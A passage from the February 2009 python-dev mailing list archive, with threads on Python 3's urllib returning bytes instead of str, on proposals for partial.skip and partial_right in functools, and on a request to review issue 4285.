> Could it be re-considered, instead of the partial_right idea?

Have any of the original objections to Calvin's patch
(http://bugs.python.org/issue1706256) been addressed? If not, I don't
see anything in these threads that justify resurrecting it.

I still haven't seen any real code presented that would benefit from
partial.skip or partial_right.

Collin Winter

From millbr02 at luther.edu  Tue Feb  3 20:08:31 2009
From: millbr02 at luther.edu (Brad Miller)
Date: Tue, 3 Feb 2009 13:08:31 -0600
Subject: [Python-Dev] teaching the new urllib
Message-ID: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>

I'm just getting ready to start the semester using my new book (Python
Programming in Context) and noticed that I somehow missed all the changes to
urllib in python 3.0.  ARGH to say the least.  I like using urllib in the
intro class because we can get data from places that are more
interesting/motivating/relevant to the students.
Here are some of my observations on trying to do very basic stuff with
urllib:

1.  urllib.urlopen  is now urllib.request.urlopen
2.  The object returned by urlopen is no longer iterable!  no more for line
in url.
3.  read, readline, readlines now return bytes objects or arrays of bytes
instead of a str and array of str
4.  Taking the naive approach to converting a bytes object to a str does not
work as you would expect.

>>> import urllib.request
>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html')
>>> page
<addinfourl at 16419792 whose fp = <socket.SocketIO object at 0xfa8570>>
>>> line = page.readline()
>>> line
b'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\n'
>>> str(line)
'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>>>

As you can see from the example the 'b' becomes part of the string!  It
seems like this should be a bug, is it?


Here's the iteration problem:
'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>>> for line in page:
print(line)

Traceback (most recent call last):
  File "<pyshell#10>", line 1, in <module>
    for line in page:
TypeError: 'addinfourl' object is not iterable

Why is this not iterable anymore?  Is this too a bug?  What the heck is an
addinfourl object?


5.  Finally, I see that a bytes object has some of the same methods as
strings.  But the error messages are confusing.

>>> line
b'   "http://www.w3.org/TR/html4/loose.dtd">\n'
>>> line.find('www')
Traceback (most recent call last):
  File "<pyshell#18>", line 1, in <module>
    line.find('www')
TypeError: expected an object with the buffer interface
>>> line.find(b'www')
11

Why couldn't find take string as a parameter?

If folks have advice on which, if any, of these are bugs please let me know
and I'll file them, and if possible work on fixes for them too.

If you have advice on how I should better be teaching this new urllib that
would be great to hear as well.


Thanks,

Brad

-- 
Brad Miller
Assistant Professor, Computer Science
Luther College
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090203/7007c8b0/attachment.htm>

From millbr02 at luther.edu  Tue Feb  3 20:10:12 2009
From: millbr02 at luther.edu (Brad Miller)
Date: Tue, 3 Feb 2009 13:10:12 -0600
Subject: [Python-Dev] teaching the new urllib
Message-ID: <e45086040902031110y5ecd9110wfde4120c21d2d7cc@mail.gmail.com>

I'm just getting ready to start the semester using my new book (Python
Programming in Context) and noticed that I somehow missed all the changes to
urllib in python 3.0.  ARGH to say the least.  I like using urllib in the
intro class because we can get data from places that are more
interesting/motivating/relevant to the students.
Here are some of my observations on trying to do very basic stuff with
urllib:

1.  urllib.urlopen  is now urllib.request.urlopen
2.  The object returned by urlopen is no longer iterable!  no more for line
in url.
3.  read, readline, readlines now return bytes objects or arrays of bytes
instead of a str and array of str
4.  Taking the naive approach to converting a bytes object to a str does not
work as you would expect.

>>> import urllib.request
>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html')
>>> page
<addinfourl at 16419792 whose fp = <socket.SocketIO object at 0xfa8570>>
>>> line = page.readline()
>>> line
b'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\n'
>>> str(line)
'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>>>

As you can see from the example the 'b' becomes part of the string!  It
seems like this should be a bug, is it?


Here's the iteration problem:
'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>>> for line in page:
print(line)

Traceback (most recent call last):
  File "<pyshell#10>", line 1, in <module>
    for line in page:
TypeError: 'addinfourl' object is not iterable

Why is this not iterable anymore?  Is this too a bug?  What the heck is an
addinfourl object?


5.  Finally, I see that a bytes object has some of the same methods as
strings.  But the error messages are confusing.

>>> line
b'   "http://www.w3.org/TR/html4/loose.dtd">\n'
>>> line.find('www')
Traceback (most recent call last):
  File "<pyshell#18>", line 1, in <module>
    line.find('www')
TypeError: expected an object with the buffer interface
>>> line.find(b'www')
11

Why couldn't find take string as a parameter?

If folks have advice on which, if any, of these are bugs please let me know
and I'll file them, and if possible work on fixes for them too.

If you have advice on how I should better be teaching this new urllib that
would be great to hear as well.


Thanks,

Brad

-- 
Brad Miller
Assistant Professor, Computer Science
Luther College

-- 
Brad Miller
Assistant Professor, Computer Science
Luther College
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090203/4391a692/attachment-0001.htm>

From ironfroggy at gmail.com  Tue Feb  3 20:45:10 2009
From: ironfroggy at gmail.com (Calvin Spealman)
Date: Tue, 3 Feb 2009 14:45:10 -0500
Subject: [Python-Dev] Partial function application 'from the right'
In-Reply-To: <cc7430500901311140i433965f6j9bf38cdf71e05b12@mail.gmail.com>
References: <5169ff10901290612y745bdeefhb84ff03bfc1e63bf@mail.gmail.com>
	<loom.20090129T200244-970@post.gmane.org>
	<d38f5330901291344x5338a851n56237a29738ae769@mail.gmail.com>
	<loom.20090129T220154-487@post.gmane.org>
	<eae285400901291521o59f2cc3fx6a38200e35d958db@mail.gmail.com>
	<5E031BDD-32EC-47CC-8CE4-D4D3888A49F2@gmail.com>
	<eae285400901291538w7bb67611ye0ce404036300a0b@mail.gmail.com>
	<FE3DF2A6-42DB-4CC2-844B-41BC33BAB4DB@gmail.com>
	<76fd5acf0901301638x6d4da376w34fe78d327af7c87@mail.gmail.com>
	<cc7430500901311140i433965f6j9bf38cdf71e05b12@mail.gmail.com>
Message-ID: <76fd5acf0902031145x5f2cf80eucc14312b3f0cedc7@mail.gmail.com>

http://bugs.python.org/issue1706256

Took me a couple days to catch up on this thread so here is the link
for any interested. Could it be possible to reevaluate this?

On Sat, Jan 31, 2009 at 2:40 PM, Leif Walsh <leif.walsh at gmail.com> wrote:
> On Fri, Jan 30, 2009 at 7:38 PM, Calvin Spealman <ironfroggy at gmail.com> wrote:
>> I am just replying to the end of this thread to throw in a reminder
>> about my partial.skip patch, which allows the following usage:
>>
>> split_one = partial(str.split, partial.skip, 1)
>>
>> Not looking to say "mine is better", but if the idea is being given
>> merit, I like the skipping arguments method better than just the
>> "right partial", which I think is confusing combined with keyword and
>> optional arguments. And, this patch already exists. Could it be
>> re-evaluated?
>
> +1 but I don't know where the patch is.
>
> --
> Cheers,
> Leif
>



-- 
Read my blog! I depend on your acceptance of my opinion! I am interesting!
http://techblog.ironfroggy.com/
Follow me if you're into that sort of thing: http://www.twitter.com/ironfroggy

From solipsis at pitrou.net  Tue Feb  3 20:53:49 2009
From: solipsis at pitrou.net (Antoine Pitrou)
Date: Tue, 3 Feb 2009 19:53:49 +0000 (UTC)
Subject: [Python-Dev] Partial function application 'from the right'
References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com>
	<43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com>
Message-ID: <loom.20090203T195152-727@post.gmane.org>

Collin Winter <collinw <at> gmail.com> writes:
> 
> Have any of the original objections to Calvin's patch
> (http://bugs.python.org/issue1706256) been addressed? If not, I don't
> see anything in these threads that justify resurrecting it.
> 
> I still haven't seen any real code presented that would benefit from
> partial.skip or partial_right.

The arguments for and against the patch could be brought against partial()
itself, so I don't understand the -1's at all.

I know I hardly every use partial() (apart from the performance aspect, it looks
like a completely useless addition to me), but from a performance standpoint,
partial.skip has as much usefulness as partial() itself.

Regards

Antoine.



From brett at python.org  Tue Feb  3 20:56:33 2009
From: brett at python.org (Brett Cannon)
Date: Tue, 3 Feb 2009 11:56:33 -0800
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
Message-ID: <bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>

On Tue, Feb 3, 2009 at 11:08, Brad Miller <millbr02 at luther.edu> wrote:
> I'm just getting ready to start the semester using my new book (Python
> Programming in Context) and noticed that I somehow missed all the changes to
> urllib in python 3.0.  ARGH to say the least.  I like using urllib in the
> intro class because we can get data from places that are more
> interesting/motivating/relevant to the students.
> Here are some of my observations on trying to do very basic stuff with
> urllib:
> 1.  urllib.urlopen  is now urllib.request.urlopen

Technically urllib2.urlopen became urllib.request.urlopen. See PEP
3108 for the details of the reorganization.

> 2.  The object returned by urlopen is no longer iterable!  no more for line
> in url.

That is probably a difference between urllib2 and urllib.

> 3.  read, readline, readlines now return bytes objects or arrays of bytes
> instead of a str and array of str

Correct.

> 4.  Taking the naive approach to converting a bytes object to a str does not
> work as you would expect.
>
>>>> import urllib.request
>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html')
>>>> page
> <addinfourl at 16419792 whose fp = <socket.SocketIO object at 0xfa8570>>
>>>> line = page.readline()
>>>> line
> b'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\n'
>>>> str(line)
> 'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>>>>
> As you can see from the example the 'b' becomes part of the string!  It
> seems like this should be a bug, is it?
>

No because you are getting back the repr for the bytes object. Str
does not know what the encoding is for the bytes so it has no way of
performing the decoding.

> Here's the iteration problem:
> 'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>>>> for line in page:
> print(line)
> Traceback (most recent call last):
>   File "<pyshell#10>", line 1, in <module>
>     for line in page:
> TypeError: 'addinfourl' object is not iterable
> Why is this not iterable anymore?  Is this too a bug?  What the heck is an
> addinfourl object?
>
> 5.  Finally, I see that a bytes object has some of the same methods as
> strings.  But the error messages are confusing.
>>>> line
> b'   "http://www.w3.org/TR/html4/loose.dtd">\n'
>>>> line.find('www')
> Traceback (most recent call last):
>   File "<pyshell#18>", line 1, in <module>
>     line.find('www')
> TypeError: expected an object with the buffer interface
>>>> line.find(b'www')
> 11
> Why couldn't find take string as a parameter?

Once again, encoding. The bytes object doesn't know what to encode the
string to in order to do an apples-to-apples search of bytes.

> If folks have advice on which, if any, of these are bugs please let me know
> and I'll file them, and if possible work on fixes for them too.

While not a bug, adding iterator support wouldn't hurt. And for the
better TypeError messages, you could try submitting a patch to change
to tack on something like "(e.g. bytes)", although I am not sure if
anyone else would agree on that decision.

> If you have advice on how I should better be teaching this new urllib that
> would be great to hear as well.

Probably the biggest issue will be having to explain string encoding.
Obviously you can gloss over it or provide students with a simple
library that just automatically converts the strings. Or even better,
provide some code for the standard library that can take the HTML,
figure out the encoding, and then return the decoded strings (might
actually already be something for that that I am not aware of).

-Brett

From ismail at namtrac.org  Tue Feb  3 20:59:57 2009
From: ismail at namtrac.org (=?UTF-8?B?xLBzbWFpbCBEw7ZubWV6?=)
Date: Tue, 3 Feb 2009 21:59:57 +0200
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
	<bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
Message-ID: <19e566510902031159x5ca99f32h55086f034bc7d77c@mail.gmail.com>

Hi,

On Tue, Feb 3, 2009 at 21:56, Brett Cannon <brett at python.org> wrote:
> Probably the biggest issue will be having to explain string encoding.
> Obviously you can gloss over it or provide students with a simple
> library that just automatically converts the strings. Or even better,
> provide some code for the standard library that can take the HTML,
> figure out the encoding, and then return the decoded strings (might
> actually already be something for that that I am not aware of).

http://chardet.feedparser.org/ should work fine for most auto-encoding
detection needs.

Regards,
ismail

From benjamin at python.org  Tue Feb  3 21:01:02 2009
From: benjamin at python.org (Benjamin Peterson)
Date: Tue, 3 Feb 2009 15:01:02 -0500
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
Message-ID: <1afaf6160902031201n2878bb80x5981f9d469d2b9b4@mail.gmail.com>

On Tue, Feb 3, 2009 at 2:08 PM, Brad Miller <millbr02 at luther.edu> wrote:
> Here's the iteration problem:
> 'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>>>> for line in page:
> print(line)
> Traceback (most recent call last):
>   File "<pyshell#10>", line 1, in <module>
>     for line in page:
> TypeError: 'addinfourl' object is not iterable
> Why is this not iterable anymore?  Is this too a bug?  What the heck is an
> addinfourl object?

See http://bugs.python.org/issue4608.

>
> 5.  Finally, I see that a bytes object has some of the same methods as
> strings.  But the error messages are confusing.
>>>> line
> b'   "http://www.w3.org/TR/html4/loose.dtd">\n'
>>>> line.find('www')
> Traceback (most recent call last):
>   File "<pyshell#18>", line 1, in <module>
>     line.find('www')
> TypeError: expected an object with the buffer interface
>>>> line.find(b'www')
> 11
> Why couldn't find take string as a parameter?

 See http://bugs.python.org/issue4733



-- 
Regards,
Benjamin

From janssen at parc.com  Tue Feb  3 21:11:07 2009
From: janssen at parc.com (Bill Janssen)
Date: Tue, 3 Feb 2009 12:11:07 PST
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <19e566510902031159x5ca99f32h55086f034bc7d77c@mail.gmail.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
	<bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
	<19e566510902031159x5ca99f32h55086f034bc7d77c@mail.gmail.com>
Message-ID: <99791.1233691867@parc.com>

?smail D?nmez <ismail at namtrac.org> wrote:

> Hi,
> 
> On Tue, Feb 3, 2009 at 21:56, Brett Cannon <brett at python.org> wrote:
> > Probably the biggest issue will be having to explain string encoding.
> > Obviously you can gloss over it or provide students with a simple
> > library that just automatically converts the strings. Or even better,
> > provide some code for the standard library that can take the HTML,
> > figure out the encoding, and then return the decoded strings (might
> > actually already be something for that that I am not aware of).
> 
> http://chardet.feedparser.org/ should work fine for most auto-encoding
> detection needs.

Remember that the return value from urlopen() need not be HTML or XML.
It could be, say, an image or PDF or Word, or pretty much anything.

Bill

From collinw at gmail.com  Tue Feb  3 21:47:36 2009
From: collinw at gmail.com (Collin Winter)
Date: Tue, 3 Feb 2009 12:47:36 -0800
Subject: [Python-Dev] Partial function application 'from the right'
In-Reply-To: <loom.20090203T195152-727@post.gmane.org>
References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com>
	<43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com>
	<loom.20090203T195152-727@post.gmane.org>
Message-ID: <43aa6ff70902031247g6c271119t3ba8fd45814c626d@mail.gmail.com>

On Tue, Feb 3, 2009 at 11:53 AM, Antoine Pitrou <solipsis at pitrou.net> wrote:
> Collin Winter <collinw <at> gmail.com> writes:
>>
>> Have any of the original objections to Calvin's patch
>> (http://bugs.python.org/issue1706256) been addressed? If not, I don't
>> see anything in these threads that justify resurrecting it.
>>
>> I still haven't seen any real code presented that would benefit from
>> partial.skip or partial_right.
>
> The arguments for and against the patch could be brought against partial()
> itself, so I don't understand the -1's at all.

Quite so, but that doesn't justify adding more capabilities to partial().

Collin Winter

From rlight2 at gmail.com  Tue Feb  3 21:53:35 2009
From: rlight2 at gmail.com (Ross Light)
Date: Tue, 3 Feb 2009 12:53:35 -0800
Subject: [Python-Dev] Issue 4285 Review
Message-ID: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com>

Hello, python-dev.  I submitted a patch a couple weeks ago for Issue
4285, and it has been reviewed and revised.  Would someone please
review/commit it?  Thank you.

http://bugs.python.org/issue4285

Cheers,
Ross Light

From python at rcn.com  Tue Feb  3 22:16:21 2009
From: python at rcn.com (Raymond Hettinger)
Date: Tue, 3 Feb 2009 13:16:21 -0800
Subject: [Python-Dev] Partial function application 'from the right'
References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com><43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com><loom.20090203T195152-727@post.gmane.org>
	<43aa6ff70902031247g6c271119t3ba8fd45814c626d@mail.gmail.com>
Message-ID: <E83B20312E264DAE9B95120EF9E6D79E@RaymondLaptop1>

>>> I still haven't seen any real code presented that would benefit from
>>> partial.skip or partial_right.

# some Articles have timestamp attributes and some don't
stamp = partial_right(getattr, 'timestamp', 0)
lastupdate = max(map(stamp, articles))

# some beautiful soup nodes have a name attribute and some don't
name = partial_right(getattr, 'name', '')
alltags = set(map(name, soup))



>> The arguments for and against the patch could be brought against partial()
>> itself, so I don't understand the -1's at all.
> 
> Quite so, but that doesn't justify adding more capabilities to partial().

I concur with Collin.  Lever arguments are a road to bloat.
"In for a penny, in for a pound" is not a language design principle.

One of the real problems with partial() and its variants is that they provide
almost no advantage over an equivalent lambda.  IMO, lambda has
an advantage over partial.skip() because the lambda is easier to read:
  
   modcubes = lambda base, mod:   pow(base, 3, mod)


Raymond

From aahz at pythoncraft.com  Tue Feb  3 22:20:17 2009
From: aahz at pythoncraft.com (Aahz)
Date: Tue, 3 Feb 2009 13:20:17 -0800
Subject: [Python-Dev] Issue 4285 Review
In-Reply-To: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com>
References: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com>
Message-ID: <20090203212016.GA20886@panix.com>

On Tue, Feb 03, 2009, Ross Light wrote:
>
> Hello, python-dev.  I submitted a patch a couple weeks ago for Issue
> 4285, and it has been reviewed and revised.  Would someone please
> review/commit it?  Thank you.
> 
> http://bugs.python.org/issue4285

When sending in a request like this, it's useful to summarize the issue;
few people know bug reports by number, and at least some people who might
be interested in looking probably won't bother if they have no clue
whether it's in their area of expertise.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From eric at trueblade.com  Tue Feb  3 22:23:54 2009
From: eric at trueblade.com (Eric Smith)
Date: Tue, 03 Feb 2009 16:23:54 -0500
Subject: [Python-Dev] Issue 4285 Review
In-Reply-To: <20090203212016.GA20886@panix.com>
References: <4553f0902031253k88f0104nee9533eac99951b5@mail.gmail.com>
	<20090203212016.GA20886@panix.com>
Message-ID: <4988B5EA.8060408@trueblade.com>

Aahz wrote:
> On Tue, Feb 03, 2009, Ross Light wrote:
>> Hello, python-dev.  I submitted a patch a couple weeks ago for Issue
>> 4285, and it has been reviewed and revised.  Would someone please
>> review/commit it?  Thank you.
>>
>> http://bugs.python.org/issue4285
> 
> When sending in a request like this, it's useful to summarize the issue;
> few people know bug reports by number, and at least some people who might
> be interested in looking probably won't bother if they have no clue
> whether it's in their area of expertise.

I'll review it with the intention of committing it.

The subject is "Use a named tuple for sys.version_info".

Eric.


From tseaver at palladion.com  Wed Feb  4 00:50:44 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Tue, 03 Feb 2009 18:50:44 -0500
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
	<bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
Message-ID: <4988D854.5090700@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Brett Cannon wrote:
> On Tue, Feb 3, 2009 at 11:08, Brad Miller <millbr02 at luther.edu> wrote:
>> I'm just getting ready to start the semester using my new book (Python
>> Programming in Context) and noticed that I somehow missed all the changes to
>> urllib in python 3.0.  ARGH to say the least.  I like using urllib in the
>> intro class because we can get data from places that are more
>> interesting/motivating/relevant to the students.
>> Here are some of my observations on trying to do very basic stuff with
>> urllib:
>> 1.  urllib.urlopen  is now urllib.request.urlopen
> 
> Technically urllib2.urlopen became urllib.request.urlopen. See PEP
> 3108 for the details of the reorganization.
> 
>> 2.  The object returned by urlopen is no longer iterable!  no more for line
>> in url.
> 
> That is probably a difference between urllib2 and urllib.
> 
>> 3.  read, readline, readlines now return bytes objects or arrays of bytes
>> instead of a str and array of str
> 
> Correct.
> 
>> 4.  Taking the naive approach to converting a bytes object to a str does not
>> work as you would expect.
>>
>>>>> import urllib.request
>>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html')
>>>>> page
>> <addinfourl at 16419792 whose fp = <socket.SocketIO object at 0xfa8570>>
>>>>> line = page.readline()
>>>>> line
>> b'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\n'
>>>>> str(line)
>> 'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>> As you can see from the example the 'b' becomes part of the string!  It
>> seems like this should be a bug, is it?
>>
> 
> No because you are getting back the repr for the bytes object. Str
> does not know what the encoding is for the bytes so it has no way of
> performing the decoding.

The encoding information *is* available in the response headers, e.g.:

- ---------------------- %< ---------------------------------
$ wget -S --spider http://knuth.luther.edu/test.html
- --18:46:24--  http://knuth.luther.edu/test.html
           => `test.html'
Resolving knuth.luther.edu... 192.203.196.71
Connecting to knuth.luther.edu|192.203.196.71|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.1 200 OK
  Date: Tue, 03 Feb 2009 23:46:28 GMT
  Server: Apache/2.0.50 (Linux/SUSE)
  Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT
  ETag: "2fcd8-1d8-43b2bf40"
  Accept-Ranges: bytes
  Content-Length: 472
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/html; charset=ISO-8859-1
Length: 472 [text/html]
200 OK
- ---------------------- %< ---------------------------------

So, the OP's use case *could* be satisfied, assuming that the Py3K
version of urllib sprouted a means of leveraging that header.  In this
sense, fetching the resource over HTTP is *better* than loading it from
a file:  information about the character set is explicit, and highly
likely to be correct, at least for any resource people expect to render
cleanly in a browser.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJiNhU+gerLs4ltQ4RAjalAKC6BcbTIFjUIBg51IbVtSd8dZsoDACggw1O
+1Zlt7RlzdieQjoAw8AeScE=
=lvtX
-----END PGP SIGNATURE-----

From tseaver at palladion.com  Wed Feb  4 00:50:44 2009
From: tseaver at palladion.com (Tres Seaver)
Date: Tue, 03 Feb 2009 18:50:44 -0500
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
	<bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
Message-ID: <4988D854.5090700@palladion.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Brett Cannon wrote:
> On Tue, Feb 3, 2009 at 11:08, Brad Miller <millbr02 at luther.edu> wrote:
>> I'm just getting ready to start the semester using my new book (Python
>> Programming in Context) and noticed that I somehow missed all the changes to
>> urllib in python 3.0.  ARGH to say the least.  I like using urllib in the
>> intro class because we can get data from places that are more
>> interesting/motivating/relevant to the students.
>> Here are some of my observations on trying to do very basic stuff with
>> urllib:
>> 1.  urllib.urlopen  is now urllib.request.urlopen
> 
> Technically urllib2.urlopen became urllib.request.urlopen. See PEP
> 3108 for the details of the reorganization.
> 
>> 2.  The object returned by urlopen is no longer iterable!  no more for line
>> in url.
> 
> That is probably a difference between urllib2 and urllib.
> 
>> 3.  read, readline, readlines now return bytes objects or arrays of bytes
>> instead of a str and array of str
> 
> Correct.
> 
>> 4.  Taking the naive approach to converting a bytes object to a str does not
>> work as you would expect.
>>
>>>>> import urllib.request
>>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html')
>>>>> page
>> <addinfourl at 16419792 whose fp = <socket.SocketIO object at 0xfa8570>>
>>>>> line = page.readline()
>>>>> line
>> b'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\n'
>>>>> str(line)
>> 'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>> As you can see from the example the 'b' becomes part of the string!  It
>> seems like this should be a bug, is it?
>>
> 
> No because you are getting back the repr for the bytes object. Str
> does not know what the encoding is for the bytes so it has no way of
> performing the decoding.

The encoding information *is* available in the response headers, e.g.:

- ---------------------- %< ---------------------------------
$ wget -S --spider http://knuth.luther.edu/test.html
- --18:46:24--  http://knuth.luther.edu/test.html
           => `test.html'
Resolving knuth.luther.edu... 192.203.196.71
Connecting to knuth.luther.edu|192.203.196.71|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.1 200 OK
  Date: Tue, 03 Feb 2009 23:46:28 GMT
  Server: Apache/2.0.50 (Linux/SUSE)
  Last-Modified: Mon, 17 Sep 2007 23:35:49 GMT
  ETag: "2fcd8-1d8-43b2bf40"
  Accept-Ranges: bytes
  Content-Length: 472
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/html; charset=ISO-8859-1
Length: 472 [text/html]
200 OK
- ---------------------- %< ---------------------------------

So, the OP's use case *could* be satisfied, assuming that the Py3K
version of urllib sprouted a means of leveraging that header.  In this
sense, fetching the resource over HTTP is *better* than loading it from
a file:  information about the character set is explicit, and highly
likely to be correct, at least for any resource people expect to render
cleanly in a browser.


Tres.
- --
===================================================================
Tres Seaver          +1 540-429-0999          tseaver at palladion.com
Palladion Software   "Excellence by Design"    http://palladion.com
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFJiNhU+gerLs4ltQ4RAjalAKC6BcbTIFjUIBg51IbVtSd8dZsoDACggw1O
+1Zlt7RlzdieQjoAw8AeScE=
=lvtX
-----END PGP SIGNATURE-----


From ajaksu at gmail.com  Wed Feb  4 00:56:48 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 3 Feb 2009 21:56:48 -0200
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <4988D854.5090700@palladion.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
	<bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
	<4988D854.5090700@palladion.com>
Message-ID: <2d75d7660902031556i4f7b4ff0n5e594a86a42ac4a6@mail.gmail.com>

Tres Seaver wrote:
> Brett Cannon wrote:
>> No because you are getting back the repr for the bytes object. Str
>> does not know what the encoding is for the bytes so it has no way of
>> performing the decoding.
>
> The encoding information *is* available in the response headers, e.g.:
[snip]

That's the target of http://bugs.python.org/issue4733 cited by
Benjamin: 'Add a "decode to declared encoding" version of urlopen to
urllib' . I think it's an important use case, but the current patch is
pretty awful. Improvements/feedback welcome :)

Daniel

From brett at python.org  Wed Feb  4 01:00:38 2009
From: brett at python.org (Brett Cannon)
Date: Tue, 3 Feb 2009 16:00:38 -0800
Subject: [Python-Dev] teaching the new urllib
In-Reply-To: <4988D854.5090700@palladion.com>
References: <e45086040902031108k2ac504d4sece714d850863fda@mail.gmail.com>
	<bbaeab100902031156o63c25769ke504ac43cc3b7d77@mail.gmail.com>
	<4988D854.5090700@palladion.com>
Message-ID: <bbaeab100902031600nd385b6fh519a37bc3cbf1866@mail.gmail.com>

On Tue, Feb 3, 2009 at 15:50, Tres Seaver <tseaver at palladion.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Brett Cannon wrote:
>> On Tue, Feb 3, 2009 at 11:08, Brad Miller <millbr02 at luther.edu> wrote:
>>> I'm just getting ready to start the semester using my new book (Python
>>> Programming in Context) and noticed that I somehow missed all the changes to
>>> urllib in python 3.0.  ARGH to say the least.  I like using urllib in the
>>> intro class because we can get data from places that are more
>>> interesting/motivating/relevant to the students.
>>> Here are some of my observations on trying to do very basic stuff with
>>> urllib:
>>> 1.  urllib.urlopen  is now urllib.request.urlopen
>>
>> Technically urllib2.urlopen became urllib.request.urlopen. See PEP
>> 3108 for the details of the reorganization.
>>
>>> 2.  The object returned by urlopen is no longer iterable!  no more for line
>>> in url.
>>
>> That is probably a difference between urllib2 and urllib.
>>
>>> 3.  read, readline, readlines now return bytes objects or arrays of bytes
>>> instead of a str and array of str
>>
>> Correct.
>>
>>> 4.  Taking the naive approach to converting a bytes object to a str does not
>>> work as you would expect.
>>>
>>>>>> import urllib.request
>>>>>> page = urllib.request.urlopen('http://knuth.luther.edu/test.html')
>>>>>> page
>>> <addinfourl at 16419792 whose fp = <socket.SocketIO object at 0xfa8570>>
>>>>>> line = page.readline()
>>>>>> line
>>> b'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\n'
>>>>>> str(line)
>>> 'b\'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"\\n\''
>>> As you can see from the example the 'b' becomes part of the string!  It
>>> seems like this should be a bug, is it?
>>>
>>
>> No because you are getting back the repr for the bytes object. Str
>> does not know what the encoding is for the bytes so it has no way of
>> performing the decoding.
>
